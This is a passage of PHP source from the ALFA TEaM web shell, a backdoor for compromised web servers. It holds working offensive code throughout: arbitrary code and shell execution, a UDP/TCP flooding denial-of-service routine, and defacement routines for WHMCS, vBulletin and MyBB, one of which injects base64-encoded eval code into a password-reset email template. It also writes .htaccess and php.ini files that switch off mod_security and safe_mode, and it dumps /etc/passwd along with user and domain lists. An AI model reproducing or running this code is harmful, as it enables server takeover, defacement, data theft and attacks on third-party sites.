echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table></div></div>';
break;
case 'rename':
@chdir($_POST['c']);
$alfa1_escape = addslashes($_POST["alfa1"]);
$alfa3_escape = addslashes($_POST["alfa3"]);
if(!empty($_POST['alfa3'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'");
}else{
$cmd_rename = true;
}
}else{
$alfa1_escape = addslashes($_POST["alfa1"]);
}
if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){
echo 'Can\'t rename!<br>';}else{echo('Renamed!<script>try{$("'.$_POST['alfa4'].'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\''.$alfa3_escape.'\',\''.$ftype.'\',\''.$_POST['alfa4'].'\')+"</div><div class=\'editor-file-name\'>'.$alfa3_escape.'</div>";editor_files["'.$_POST['alfa4'].'"].file = "'.$alfa3_escape.'";updateFileEditor("'.$alfa1_escape.'", "'.$alfa3_escape.'");'.($ftype == "dir"?"updateDirsEditor('".$_POST['alfa4']."','".$alfa1_escape."');":"").'}catch(e){console.log(e)}</script>');$alfa1_escape = $alfa3_escape;}
}
echo '<form onsubmit="editor(\''.$alfa1_escape.'\',\''.$_POST['alfa2'].'\',this.name.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="name" value="'.addslashes(htmlspecialchars(isset($_POST['alfa3'])&&$_POST['alfa3']!=''?$_POST['alfa3']:$alfa1_decoded)).'"><input type=submit value=" "></form>';
break;
case 'touch':
@chdir($_POST['c']);
if( !empty($_POST['alfa3']) ) {
$time = strtotime($_POST['alfa3']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
	alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'");
	$touched = true;
}
if(!@touch($_POST['alfa1'],$time,$time)&&!$touched)
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.touch.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST['alfa1']))).'"><input type=submit value=" "></form>';
break;
case 'image':
@chdir($_POST['c']);
echo('<hr>');
$file = $_POST['alfa1'];
$image_info = @getimagesize($file);
if(is_array($image_info)||$chdir_fals){
$width = (int)$image_info[0];
$height = (int)$image_info[1];
if($chdir_fals&&$alfa_canruncmd){
	$source = alfaEx("cat '".addslashes($file)."' | base64");
	list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'"));
	$mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'"));
	$image_info['mime'] = $mime[1];
}else{
	$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = <span>[</span> ".$image_info['mime']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
if($width > 800){$width = 800;}
echo $content = "<div class='editor-view'><div class='view-content'><center>".$image_info_h."<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:".$image_info['mime'].";base64,".$source."' alt='".$file."'></center></div></div><br>";
}
break;
}
echo '</div>';
alfaFooter();
}
function findicon($file,$type){
$s = 'http://solevisible.com/icons/';
$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
if($type!='file'){
return ($file=='..'?$s.'back.png':$s.'folder.png');
}else{
$ext = explode('.',$file);
$ext = end($ext);
$ext = strtolower($ext);
return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
}
}
function alfadlfile(){
if(isset($_POST['c'],$_POST['file'])){
$basename = rawurldecode(basename($_POST['file']));
$_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
header("Content-Type: application/octet-stream");
if($GLOBALS["glob_chdir_false"]){
	$randname = $basename.rand(111,9999);
	$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
	$filepath = $scriptpath."/".$randname;
	if(_alfa_is_writable($scriptpath)){
		alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
		readfile($filepath);
		@unlink($filepath);
	}else{
		alfaEx("cat '".addslashes($_POST["file"])."'");
	}
}else{
	readfile($_POST['file']);
}
}else echo('Error...!');}}
function __alfa_set_cookie($key, $value){
	$_COOKIE[$key] = $value;
	@setcookie($key, $value, time()+(86400 * 7), '/');
}
function alfaphpeval(){
if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
	$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
}else{
	$tempdir = dirname(alfaEx("mktemp"));
	__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
alfahead();
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr>'
.'<td class="listing"><font class="highlight_txt">Param</td>'
.'<td class="listing"><font class="highlight_txt">Global value</td>'
.'<td class="listing"><font class="highlight_txt">Local Value</td>'
.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "\n".'<tr>'
.'<td class="listing"><b>'.$param.'</td>'
.'<td class="listing">'.$values['global_value'].' </td>'
.'<td class="listing">'.$values['local_value'].' </td>'
.'<td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions();
echo '<table border=0><tr><td class="listing">'.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT).'</td></tr></table>'.count($EXT).' extensions loaded';
echo '</div><br>';
}
$lang_html = "";
foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '<option value="'.$key.'" '.($_POST["alfa3"]==$key?"selected":"").'>'.$val.'</option>';}
echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">'.$lang_html.'</select>'._alfa_load_ace_options("eval").'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):"&lt;?php\n\n\techo('hello alfa !');\n\n?>").'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
echo '</form><pre id="PhpOutput" style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class="ml1">';
if(!empty($_POST['alfa1'])){
if($_POST['alfa3']=="php"){
ob_start();
eval('?>'.$_POST['alfa1']);
$result = htmlspecialchars(ob_get_clean());
}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
	$lang = $_POST['alfa3'];
	$filename = "temp".rand(11111,99999);
	$temp = $tempdir."/".$filename ;
	__write_file($filename, $_POST['alfa1']);
	$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
	@unlink($filename);
	@unlink($temp);
}
echo '<textarea class="bigarea">'.$result.'</textarea>';
}
echo '</pre></div>';
alfafooter();
}
function alfahash(){
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',
'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',
'strrev ( $string )' => 'strrev($s)',
'bin2hex ( $string )' => 'bin2hex($s)',
'hex2bin ( $string )' => 'hex2bin($s)',
'md5 ( $string )' => 'md5($s)',
'sha1 ( $string )' => 'sha1($s)',
'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)',
'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)',
'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)',
'crypt ( $string )' => 'crypt($s)',
'crc32 ( $string )' => 'crc32($s)',
'str_rot13 ( $string )' => 'str_rot13($s)',
'urlencode ( $string )' => 'urlencode($s)',
'urldecode  ( $string )' => 'urldecode($s)',
'full_urlencode  ( $string )' => 'full_urlencode($s)',
'htmlspecialchars  ( $string )' => 'htmlspecialchars($s)',
'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',
'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',
'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',
'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',
'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',
'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))',
);
alfahead();
echo '<div class=header>';
echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."' ".($_POST['alfa1']==$v?'selected':'').">".$k."</option>";
echo "</select> <input type='submit' value=' '/><br><textarea  name='input' style='margin-top:5px' class='bigarea'>".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2']))."</textarea></form>";
if(!empty($_POST['alfa1'])){
$string = addslashes($_POST['alfa2']);
$string = str_replace('\"','"',$string);
$alg = $_POST['alfa1'];
$code = str_replace('$s',"'".$string."'",$alg);
ob_start();
eval('echo '.$code.';');
$res = ob_get_contents();
ob_end_clean();
if(in_array($alg, $stringTools))echo '<textarea class="bigarea">'.htmlspecialchars($res).'</textarea>';
}
echo "</div>";
alfaFooter();
}
function alfados(){
alfahead();
echo '<div class=header>';
echo '<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>';
if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])){
echo __pre();
$packets=0;
ignore_user_abort(true);
$exec_time=(int)$_POST['alfa2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['alfa1'];
$port=(int)$_POST['alfa3'];
$method=$_POST['alfa4'];
$out = str_repeat('X',65000);
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = @fsockopen($method.'://'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";
echo "</pre>";
}
echo '</div>';
alfafooter();
}
function __pre(){return('<pre id="strOutput" style="margin-top:5px" class="ml1">');}
function alfaIndexChanger(){
alfahead();

echo '<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
if(isset($_POST['alfa3'])&&($_POST['alfa3'] == 'whmcs')){
echo __pre();

echo "<center><center><div class='txtfont_header'>| Whmcs |</div>
<p><center>".getConfigHtml('whmcs')."<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '>
</form></center></center>";
if(isset($_POST['alfa6'])){
$s0levisible="Powered By Solevisible";
$dbu = $_POST['alfa6'];
$path = $_POST['alfa5'];
$fname = $_POST['alfa4'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$index = $_POST['alfa10'];
$index = str_replace("\'","'",$index);
$deface = '$x = base64_decode("'.__ZW5jb2Rlcg($index).'"); $solevisible = fopen("'.$fname.'","w"); fwrite($solevisible,$x);';
$saveData = __ZW5jb2Rlcg($deface);
$Def = '{php}eval(base64_decode("'.$saveData.'"));{/php}';
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
$inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'";
$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('[email protected]')";
$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version')){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&[email protected]");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert('File Created...');
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$path."/".$fname."'>Click Here !</a></font></b></center><br><br>";
}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" ".$path."/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>[email protected]</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" ".$path."/".$fname." \"</font></b></center><br><br>";
}}}}
if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')){
echo __pre();

echo "<center><center><div class='txtfont_header'>| vBulletin |</div>
<p><center>".getConfigHtml('vb')."<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '></form></center></center>";
if($_POST['alfa8']=='>>'){
$s0levisible="Powered By Solevisible";
$dbu = $_POST['alfa2'];
$dbn = $_POST['alfa3'];
$dbp = $_POST['alfa4'];
$dbh = $_POST['alfa5'];
$index = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= __ZW5jb2Rlcg("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}";
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$loli1 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'";
$loli2 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'";
$loli3 = "UPDATE ".$prefix."style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''";
@mysqli_query($conn,$loli1) or die (mysqli_error($conn));
@mysqli_query($conn,$loli2) or die (mysqli_error($conn));
@mysqli_query($conn,$loli3) or die (mysqli_error($conn));
__alert('VB index changed...!');
}
}
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
echo __pre();

echo "<center><center><div class='txtfont_header'>| Mybb |</div>
<p><center>".getConfigHtml('mybb')."<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=mybbindex rows='19' cols='103'>
<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
if(isset($_POST['alfa6'])){
$mybb_dbh = $_POST['alfa6'];
$mybb_dbu = $_POST['alfa7'];
$mybb_dbn = $_POST['alfa8'];
$mybb_dbp = $_POST['alfa9'];
$mybb_index = $_POST['alfa10'];
if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){
$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));
$prefix="mybb_";
$loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));
__alert('MyBB index changed...!');
}
}
}
echo "</div>";
alfafooter();
}
function alfaproc()
{
alfahead();
echo "<Div class=header><br><center>";
if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win"){
$process=array(
"Task List" =>"tasklist /V",
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);}else{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab"
);}
foreach($process as $n => $link){
echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\''.$link.'\')"> | '.$n.' | </a>';
}
echo "</center><br>";
if(!empty($_POST['alfa1'])){
echo "<pre class='ml1' style='margin-top:5px' >";
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
echo alfaEx($cmd.$_POST['alfa1'], true);
echo '</pre>';
}
echo "</div>";
alfafooter();
}
function alfasafe(){
alfahead();
echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$solevisible9 = _alfa_file('/etc/named.conf');
if(is_array($solevisible9)){
foreach($solevisible9 as $solevisible13){
if(@eregi('zone',$solevisible13)){
preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
if(strlen(trim($solevisible14[1][0])) > 2){
echo $solevisible14[1][0].'<br>';
}}}
}
}else{
echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
if(is_array($users)){
foreach($users as $boz){
$dom = explode(":",$boz);
echo $dom[0]."\n";}}}}
if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){
echo '
<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
if(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$user = "";
if(function_exists("posix_getpwuid") && function_exists("fileowner")){
	if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
		$user = $user['name'];
	}
}else{
	if(_alfa_can_runCommand(true,true)){
		$user = alfaEx("stat -c '%U' /etc/valiases/".$rep);
	}
}
if(!empty($user)&&$user!='root'){
echo __pre()."<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
}else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
}else{
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$ex = explode(":",$boz);
if($ex[0] == $rep){
echo __pre()."<center><table border='1'>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
if(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$i = 0;
while ($i < 60000) {
$line = @posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."\n";
break;}}$i++;}
}else{echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).'<br>';}}}
if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
echo __pre();
if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if(!empty($ara)){
while(list ($key, $val) = each($ara)){
echo "$val:";
}echo "\n";}}
}else{__alert('failed...');}}
if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
}
if(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){
@__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
echo '<center><b><big> php.ini created...!</center></b></big>';
}
if(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
}
echo "<br></div>";
alfafooter();
}
function __get_resource($content){
return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content){
if($fh = @fopen($file, "wb")){
if(fwrite($fh, $content)!==false) return true;
}
return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "<font color='green'>[ Success...! ]</font>";
$err = "<font color='red'>[ Failed...! ]</font>";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="c"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
